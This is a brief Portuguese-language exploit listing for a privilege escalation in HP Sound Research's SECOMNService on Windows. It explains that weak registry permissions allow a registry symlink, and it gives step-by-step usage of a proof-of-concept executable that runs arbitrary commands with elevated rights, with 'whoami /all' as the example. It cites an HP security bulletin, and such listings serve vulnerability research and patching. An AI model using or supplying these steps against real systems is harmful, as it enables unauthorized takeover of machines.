
HP Sound Research SECOMNService Elevação de Privilégio
HP Sound Research SECOMNService Elevação de Privilégio. Permissões fracas do registro permitem que qualquer usuário crie um symlink de registro e force o serviço SECOMNService a criar uma chave de registro arbitrária.
Como fazer:
1. soundresearch_poc.exe prepare
2. Reinicie o SECOMNService ou a máquina
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*another command*"
5. soundresearch_poc.exe cleanup
Referência: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051